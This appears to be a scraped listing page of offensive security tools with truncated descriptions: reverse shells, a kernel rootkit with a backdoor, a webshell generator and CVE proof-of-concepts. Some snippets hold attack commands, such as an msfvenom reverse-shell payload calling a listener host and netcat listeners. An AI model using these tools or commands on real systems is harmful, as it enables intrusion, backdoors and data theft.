Port-enumeration

Port enumeration Have you ever faced with the lack of possibility of using NMap? For instance if you have reverse shell as an unprivileged user and there are no useful tools preinstalled? This is a small script which will help you to scan a network if you have nothing. Usage example: root@kitploi...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

siemframework

SIEMS FRAMEWORK MultiSIEM Modular Python3 Attack Framework By ElevenPaths https://www.elevenpaths.com/ Usage: python3 ./siemsframework.py INTRODUCTION SIEMs are defensive tools increasingly used in the field of cybersecurity, especially by major companies and companies intended to monitor highly...

LinPwn

LinPwn About LinPwn is a interactive tool created to assist you in post exploitation enumeration and privilege escalation. Connection Set your IP and port you want it to connect to in the Connection class. Place the LinPwn binary on the target machine. Run nc -lvp PORT on your machine and then ru...

CVE-2019-7609

CVE-2019-7609 Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Using msfvenom to Generate a Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifies the payload a reverse TCP shell for Windows. LHOST=10.10.14.4: The...

CVE-2025-6019

CVE-2025-6019 Proof of Concept PoC This repository contains a Proof of Concept PoC script for CVE-2025-6019 , a Local Privilege Escalation LPE vulnerability in libblockdev and udisks. The script creates an XFS filesystem image with an SUID bash binary and exploits the vulnerability to mount it...

msmap

MSMAP Msmap es un generador de WebShells en Memoria. Compatible con varios Contenedores, Componentes, Codificadores, WebShell / Proxy / Killer y Clientes de Gestión. 简体中文 La idea detrás I, La idea detrás II, La idea detrás III Características WIP Función Menú Dinámico Compilación Automática Gener...

s3reverse

s3reverse Instalación go get root@kitploit: $ go get -u github.com/hahwul/s3reverse snap root@kitploit: snap install s3reverse brew root@kitploit: $ brew tap hahwul/s3reverse $ brew install s3reverse Uso Opciones de entrada Uso básico root@kitploit: 8""""8 eeee 8"""8 8"""" 88 8 8"""" 8"""8 8""""8...

YAPS

YAPS - Y et A nother P HP S hell Yes, as the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there, but with some advantages. It is a single PHP file containing all its functions and you can control it via a simple TCP listener e.g. nc -lp 1337. In the...

CVE-2018-17246

CVE-2018-17246 - Kibana LFI There is no input validation so we can change the name of the JavaScript file to anything we want. In this case, with the path traversal technique, we can choose any file on the Kibana server. One thing to be aware of, however, is node's module caching feature...

Fenrir

Fenrir Publicado como código abierto por NCC Group Plc - http://www.nccgroup.com/ Desarrollado por Dave Spencer, david dot spencer at nccgroup dot com http://www.github.com/nccgroup/Fenrir Publicado bajo AGPL, consulte LICENSE para más información Descripción Fenrir fue creado para demostrar que ...

hershell

Hershell NOTE: the project has been forked on this repo, check there for any other developments. Hershell is a simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception...

hershell

Hershell NOTA: el proyecto ha sido bifurcado en este repositorio, revise allí para cualquier otro desarrollo. Hershell es un simple shell reverso TCP escrito en Go. Utiliza TLS para asegurar las comunicaciones y ofrece una función de fijación de huella digital de clave pública del certificado,...

Umbra

Umbra Umbra is an experimental remotely controllable LKM rootkit for kernels 4.x and 5.x up to 5.7 which opens a network backdoor that can spawn reverse shells to remote hosts, launch malware remotely and much more. The rootkit is still under development, although the features listed below are...

OneLogicalMyth_Shell

OneLogicalMythShell This HTA shell was created to assist in breakout assessments. I built this over a year ago initally and thought others might find it useful so have now made it public. Please feel free to submit pull requests. Features File Explorer List Drives - Lists all local drives on the...

Shelly

Shelly | Simple Backdoor Manager with Python based on weevely Shelly is a simple tool that is written using Python, which functions to remote a website Instalation : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py Requirements : root@kitploit: sudo pip install -r...

CVE-2018-2628

CVE-2018-2628 WebLogic Deserialization Vulnerability Reproduction weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || ...

JSShell

JSShell 2.0 An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS Cross Site Scripting payload to achieve browser remote code execution similar to the BeeF...

shell-history-leaks

Badges License MIT Installation 1. Install Python3 and pip Instructions Here If you can't figure this out, you shouldn't really be using this Install via pip root@kitploit: pip install shell-history-leaks Run bellow command to check shell-history-leaks -h Configurations 2. We integrated with the...